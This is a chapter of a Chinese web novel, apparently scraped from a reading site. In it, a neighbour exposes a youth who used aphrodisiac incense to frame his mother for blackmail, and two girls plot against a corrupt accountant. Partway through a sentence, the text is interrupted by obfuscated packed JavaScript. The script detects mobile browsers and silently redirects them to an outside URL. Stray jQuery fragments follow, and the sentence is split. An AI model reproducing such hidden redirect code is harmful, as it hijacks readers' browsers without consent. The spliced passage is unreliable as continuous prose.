默认冷灰
24号文字
方正启体

11.第 11 章

作者:七月犁本书字数:K更新时间:
    围观的人都凑头过来,只见展老二家的手掌心躺着几小截灰乎乎的香。有鼻子尖的,还能闻见一股香气,不浓,很淡。


    “这啥呀?”大家都好奇,七嘴八舌地问。


    展国立反剪着一身灰的时向赢出了屋子。时向赢眼镜半吊在脸上,泛红的眼毒辣辣地盯着马艳玲。


    展文凯上去想给他两下子,手都抬起来了却被自个老子给瞪住了,最后不太情愿地帮时向赢把眼镜戴戴好。“小子,眼睛别闭上,今天你就好好看着,看着大伙儿都怎么看你?”


    马艳玲把手杵到时向赢面前:“你告诉大家这是啥?”


    时向赢昂头不去看那东西:“我不知道,你们栽赃我害我。你们想给展国成脱罪,你们要害我。我是无产阶级,我绝不会向你们屈服。”声音带着哭腔,抖得跟随时都会碎掉似的。


    “都到这地步了,你还嘴硬呢?我们害你,你有什么值得我们害的?”马艳玲从来没这么讨厌过一个人:“你不知道这是什么东西吗?那15号晚上你干啥去了?”


    听到问话,时向赢被锁在背后的手握得更紧了。


    马艳玲:“你以为你三更半夜去南菜市口没人知道?”手往南菜市口的方向一指,“人都看见你进了谁的屋,待了多久。你好大的手笔,十块钱买两根破香。你妈在供销社柜台站多久,才能把这十块钱站回来?”


    “啥玩意?”蒋大霞都惊了,望望时向赢,又瞅瞅展老二家那只捧着香的手:“那小鼻嘎大的东西要十块钱?”


    “十块钱!”大家伙都跟蒋大霞一个表情:“那到底是啥东西?”


    “配种用的东西。”马艳玲就看着时向赢,字字铿锵地说:“没这东西,展国成和秦晓芹还是清清白白。”


    缓了口气,她转过身,再伸出手让大伙儿看看,“秦晓芹从22岁就一心一意守着她儿子过日子,16年啊,她容易吗?她熬完白天熬黑夜把儿子养大,儿子却端来一盆屎尿,将她从头到脚淋个透透。”


    一个盘头大妈呸了一声:“小小年纪,真不是个东西。”


    马艳玲:“展国成跟秦晓芹到底是怎么回事,小畜生心里是清清楚楚,但就这样他还睁着眼往两人身上喷粪。那两人,一个是生他养他的亲娘,一个是把他亲子侄的叔伯。他真丧良心啊!”


    “住在这一片的谁不是看在眼里,展国成过去哪次来不是挑大伙儿都在的时候,门大开着,坐坐就走?”


    “这个确实。”不少人应和。


    展国立两眼放光地盯着他媳妇,他媳妇话讲得太到位了。9号院管事的大爷这会也到了,挤进人群:“让个道,劳烦让个道。”


    马艳玲继续:“展国成念的是秦晓芹救过他亲妹子的情分,才会在路过这时都进来坐坐,免得他们孤儿寡母被人欺负。”


    “这两年小畜生长大了,他来这也就少了。他以为小畜生长大了能顶事儿了,哪会料到他不来,人家生出别的心思?”


    蒋大霞接上话:“我家跟秦晓芹家住对门,这两年展老大是来的少了。”


    “你也让让。”9号院的管事大爷拨开蒋大霞,看到时家那一摊子,都麻爪了。他从哪管?那时大虎、时二虎平时不是挺横吗?这回脸都被人摁地上,抬都抬不起来。


    马艳玲来到时向赢的身旁,一把抓上时向赢的脑袋,强硬地按下他那颗昂着的头。


    “我问你,你到底想干什么?展国成,一个电厂副厂长,他没把柄,你给他造个把柄握在手里,你想干什么?”


    “那天展国成、秦晓芹要不被抓,你想怎么拿捏展国成?你告诉大伙,你想怎么拿捏一个电厂副厂长?”


    大伙喘气都轻了,个个盯着时向赢,这小畜生胆子肥,忒肥了。


    时向赢额头上汗大滴大滴往下滑,脸上的肉都在战栗,咬着牙不答话。


    马艳玲:“说展国成强女干你妈,你怎么不去报公安?你不就是想靠这个威胁我们家,逼我们家让个工作出来给你吗?这主意是你自己想的,还是谁给你想的?”


    说着话,她眼刀子就扫向了时家没被摁着的那几个人。


    时大虎媳妇一步挪到了妯娌身后,直摆手:“不是俺们,俺们不敢。”


    马艳玲松开时向赢的脑袋,手指着他的鼻子:“你心是真狠啊!你要害死人了。你想过你妈以后怎么活吗?你真真是把你妈往绝路上逼,你是吃屎长大的,你个畜生不如的东西。”


    “你刚不是嚷着要报公安吗?报,现在就报,今天必须报公安。”


    “我去报。”展文凯终于找到事做了,挤进人群。


    “不许报。”时向赢到底是害怕了,拼了命向前冲想要去阻拦。展国立都被他那劲儿带得往前跟了一步。


    “松手,展二伯,就当我求你了你松开我。”时向赢一边哭一边奋力挣扎,还想去追展文凯:“不要抱公安,我求求你们了……”


    现场围观的人,一看他那样,就知道老展家没怪错他。


    管事大爷也不出头,擎等着等公安来。他也看淡了,反正今年街道先进大院的评比,没他们的份儿。


    相比这边的热闹,展琳那边就清静多了。她抄好账本,时间还早,就拿了几张日期临近的粮票,先去国营饭店吃了碗面,再往副食品店买了5斤大米、3斤白面、2斤黄豆、2斤玉米碴子。


    把粮食送到元钱胡同,她又回了一趟七骨巷,将衣橱里剩下的衣物、布料全部打包带走。


    下午三点,展琳正想锁门去奶奶家,院门被敲响了。她看向门口,问:“谁啊?”没人应话,她把手里拿着的锁挂到了堂屋门后,走向院门口。到院门边,她才听到一句“是我。”


    岑今?


    展琳赶紧打开门:“你再晚来两分钟,我就不在这了。”


    “那看来我还是很幸运的。”岑今两眼依然清凌凌,就是黑眼圈浓重。


    展琳请她到堂屋:“你怎么把自己搞成这样?”


    “那天跟你分开后,到现在我就睡了两三个小时。”岑今在客厅转了一圈,搬个凳子到圆桌边坐下,两手托着脑袋。


    暖水瓶里的热水,是下午刚烧的。展琳去抓了一把大白兔奶糖出来,给她泡了六颗奶糖:“你自己搅一搅。”


    “谢谢!”


    岑今现在确实很需要这个,不扭捏地拉来碗。扑鼻的奶香,引得她嘴里不住地生口水。


    “你先坐一会。”展琳又去了里间。


    岑今轻轻地搅着碗里的糖,见水白了,她低下头小小抿了一口,甜丝丝的,好好喝!


    等以后她工作了,生活变得宽裕,也要这样冲奶糖喝。


    展琳从里间出来,将手里的信封递向岑今:“这个给你。”


    看着信封,岑今难得呆了几秒,回过神后,两手立马在衣服上擦了擦,郑重地接过,抽·出里面的纸张。手止不住


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005809|193688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的颤抖,她小心翼翼地展开,是已经盖章签字的工作介绍信。


    笑一点一点在她脸上漾开。


    看了很久,她才将工作介绍信又收回信封,推到对面:“我今天来,不是为了拿这个。”但能亲眼看到亲手摸到这张工作介绍信,她现在心很安定,“昨天夜里快12点,张德润去了怡水公园钓鱼。”


    又是半夜,展琳两臂交叠放在桌上,端正坐好:“岑今同学,你那两大黑眼圈不会是盯张德润盯出来的吧?”


    “不是。”岑今还差点劲儿,端起碗又喝了一口大白兔牌牛奶:“工作有了准信,我觉得我妈留下的钱还可以再花点,就又去了一趟彩瓦长街。”竖起两根手指,“二十块盯张德润7天。”


    她只给自己7天时间。她怕晚了,她的工作不等她。


    “这个钱我给你。”该她花的钱,展琳不会吝啬:“张德润半夜去钓鱼,没有钓友一起吗?”


    花出去的钱又回来了,岑今高兴,她目前是真穷:“电厂保卫科卫民。”


    就知道是他,展琳:“张德润能进电厂做会计,是卫民父亲卫双喜介绍的。”这还是上辈子,张德润在她家说的。


    怪不得小公主一点都不意外,岑今捋捋:“张德润这个电厂财务科科长,因为感激卫民父亲的恩情,所以冒着风险,告诉卫民,你大舅哥展国成管的账有问题,得赶紧补,不然事儿就大了。”


    展琳:“逻辑似乎很顺。”


    岑今来了兴味:“这个局不好破啊!”


    “好破的。”展琳倾身向前,像说悄悄话一样:“我不是还有你这个聪明绝顶的好同桌吗?”


    岑今还以为她要说什么,噗嗤一声,笑得牙花子都露了出来,大拇指比到小公主眼跟前:“你很有眼光。”


    “那是。”展琳给自己剥了一颗糖。


    “你放心吧,我给张家建的账本,数据已经基本收集齐全,就剩核算了。”岑今给出保证:“最多两天,我就能完成它,然后把它送到靳冬阳手里。”


    “靳冬阳?”展琳诧异:“你怎么知道靳冬阳靠谱?”


    岑今打了个大大的哈切,眼泪都冒出来了:“我不知道他靠不靠谱,我又没接触过他。我只知道市革会主任的位置就只有一个,黄柏山跟那个张主任年纪就相差一岁,两人过几年都该退休了。”


    “靳冬阳无父无母光杆一个,29岁就爬上了现在的位置,你觉得他会是个不争不抢的人?”


    “不是。”展琳知道靳冬阳,是因为上辈子她去西北前,靳冬阳把市革会张主任拉下了马,自己上位了。


    碗里的奶已经不烫嘴了,岑今大口喝完:“我得走了,一会还要跟张力和在香樟坊那碰头。”


    展琳从包里翻出二十块钱:“给你。”


    接过钱,岑今手指在信封上点了点:“你帮我把这个收好。”


    “好。”展琳看她起身,也跟着站起:“你去过张力和家了?”


    “我迫切地想要投入工作。”岑今微笑:“我也很清楚,一份好工作有多少人在争。招待所不会一直空着会计出纳员的岗位,所以我得尽快上岗。”


    “明白。但你也要注意身体,你看你那黑眼圈。”


    “今晚我会多睡两小时。”


    展琳送她到院门口,声音小小地叮嘱:“你一定一定要小心,命只有一条,没了就没了。”


    岑今:“我会的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)